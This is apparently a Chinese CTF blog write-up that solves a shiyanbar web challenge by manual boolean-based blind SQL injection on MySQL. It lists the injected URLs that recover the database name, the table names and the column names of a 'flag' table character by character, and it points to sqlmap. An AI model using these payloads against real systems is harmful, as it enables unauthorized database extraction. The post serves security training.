WEB_簡單的sql注入之3

時間:2017.9.29

題目鏈接:www.shiyanbar.com/ctf/1909

解題思路:類型為 bool 型的盲注,數據庫為MySQL

1) http://ctf5.shiyanbar.com/web/index_3.php?id=1 and 1=1? ?/? ? 1=2? ? ? ?沒有變化

? ? ? http://ctf5.shiyanbar.com/web/index_3.php?id=1' and '1'='1? ?/? ? '1'='2? ?有變化

得出結論:這是關于bool的盲注

2) http://ctf5.shiyanbar.com/web/index_3.php?id=1' and length(database())>0,這語句老是報錯,我知道是單引號沒閉合,但是不知道該怎么寫,后來就用sqlmap跑了一下,知道了正確的寫法應該是這樣寫的,得出當前數據庫長度為4

?http://ctf5.shiyanbar.com/web/index_3.php?id=1' and length(database())=4 and '1'='1??

報錯

3) http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr(database(),1,1))=119? and '1'='1? ——? w? http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr(database(),2,1))=101? and '1'='1? ? ? ? ——? e http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr(database(),3,1))=119? and '1'='1? ? ? ? ——? b http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr(database(),4,1))=49 and '1'='1? ? ? ? ? ?——? 1? 得出數據庫名為 web1

4) http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=2? and '1'='1? ——? 得出web1數據庫中有2張表

5) http://ctf5.shiyanbar.com/web/index_3.php?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4? and '1'='1 ——第1張表名長為 4? ? ? http://ctf5.shiyanbar.com/web/index_3.php?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=4? and '1'='1 —— 第2張表名長為5

6) 先猜第1張表名

http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102? and '1'='1? ——? f http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=108? and '1'='1? ——? l http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97? and '1'='1? ——? a? http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=103? and '1'='1? ——? g

7) 然后猜解flag表中字段數

http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (select count(column_name) from information_schema.columns where table_name='flag')=2? and '1'='1? ——? flag 表中只有2個字段

8) 猜解flag 表中2個字段長度

http://ctf5.shiyanbar.com/web/index_3.php?id=1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1))=4? and '1'='1? ——? 第1個字段長4? http://ctf5.shiyanbar.com/web/index_3.php?id=1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1))=4? and '1'='1? ——? 第二個字段長2

9) 猜解flag 表中2個字段名稱

http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=102? and '1'='1? ——? f? http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),2,1))=108? and '1'='1? ——? l

以此類推

10) 猜解數據

都是這樣的步驟,手工注入好繁瑣啊,可以直接用sqlmap,比較快

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容

  • Sql注入定義: 就是通過把sql命令插入到web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執(zhí)行...
    付出從未后悔閱讀 713評論 0 3
  • Spring Cloud為開發(fā)人員提供了快速構建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務發(fā)現,斷路器,智...
    卡卡羅2017閱讀 134,993評論 19 139
  • Spark SQL, DataFrames and Datasets Guide Overview SQL Dat...
    Joyyx閱讀 8,353評論 0 16
  • 做完發(fā)神經,睡不著,玩游戲玩到3點多,然后一直睡到早上9點,真的是不能忍,這種作息,這種生活狀態(tài)太失敗了。然而,這...
    禕Yi閱讀 193評論 0 0
  • 秋風 秋風瑟瑟繞窗欞, 滿庭清涼人入靜, 憑欄遠眺秋色怡, 山水一線云相依。 秋雨 淫雨霏霏幾時...
    卓女閱讀 133評論 0 8